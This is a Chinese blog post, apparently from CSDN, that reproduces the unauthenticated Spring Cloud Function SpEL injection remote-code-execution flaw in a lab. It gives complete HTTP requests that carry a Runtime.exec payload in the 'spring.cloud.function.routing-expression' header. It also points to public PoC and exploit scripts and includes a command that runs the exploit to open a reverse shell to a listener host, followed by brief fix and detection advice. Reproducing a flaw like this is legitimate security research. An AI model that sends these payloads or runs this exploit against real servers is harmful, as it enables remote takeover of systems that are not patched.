• Spring Cloud Function SpEL 漏洞复现


    目录

    漏洞描述

    Spring Cloud Function SpEL表达式注入漏洞,远程攻击者在无需认证的情况下,构造特定的数据包,在header中添加"spring.cloud.function.routing-expression"参数并携带SpEL表达式,成功利用此漏洞可实现任意代码执行。


    影响版本

    3.0.0.M3 <= Spring Cloud Function <=3.2.2


    漏洞复现

    漏洞环境

    jdk-15.02
    win10或linux(centos7,ubuntu 20.4)
    SpringCloud-Function-0.0.1-SNAPSHOT.jar
    poc&exp
    
    • 1
    • 2
    • 3
    • 4

    怕链接失效以上环境均备好放在百度网盘。
    链接: Spring Cloud 复现环境
    提取码:1234

    也可自行下载

    jdk15下载地址:
    https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html
    
    SpringCloud-Function.jar环境下载:
    https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
    
    POC&EXP下载地址:
    https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    1、下载一个jdk-15.02的版本,这里可以选择下载Linux x64或Windows x64,下载安装。

    在这里插入图片描述在这里插入图片描述
    2、启动 SpringCloud 环境,访问9000端口。

    java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar
    
    • 1

    在这里插入图片描述
    在这里插入图片描述


    命令执行

    1、burp中手动检测。

    POST /xxx HTTP/1.1
    Host: 192.168.1.133:9000
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 3
    
    xxx
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    POST /functionRouter HTTP/1.1
    Host: 192.168.1.133:9000
    spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("C:/Windows/System32/cmd.exe /c calc ")
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 3
     
    rce
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    2、poc&exp批量检测。
    这里我就直接贴图了,因为我复现环境是win10虚拟机没有测试反弹shell了,exp可以自行测试反弹shell。
    在这里插入图片描述

    python Spel_RCE_POC.py url.txt    //poc检测
    python Spel_RCE_Bash_EXP.py http://192.168.1.133:9000/ 192.168.1.122 1234    //exp反弹shell
    
    • 1
    • 2

    在这里插入图片描述

    漏洞修复

    目前,Spring Cloud Function官方已针对此漏洞进行修复,但还没有发布正式版本。
    建议等待官方发布修复版本或自行下载修复代码进行手动编译。

    修复版本地址:
    https://github.com/spring-cloud/spring-cloud-function/tree/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

    排查方法:
    如果程序使用Maven打包,可以通过排查项目的pom.xml文件中是否引入spring-cloud-function相关依赖,确认其版本是否在受影响范围内。

    参考:
    奇安信 CERT
    明联安全

  • 相关阅读:
    Go语言的断点续传
    数据库---- 增删改查
    redux中间件的简单讲解
    React UseMemo源码分析
    指针数组变量指向IO口变量,方便循环操作
    Java高手的30k之路|面试宝典|精通JVM(二)
    【STM32】RTC(实时时钟)
    基于Redis+Cookie实现Session共享
    Flowable 任务如何认领,回退?
    umi乌米框架下使用react-dev-inspector ,通过点击页面跳转到vscode对应代码行
  • 原文地址:https://blog.csdn.net/m0_67390788/article/details/126496816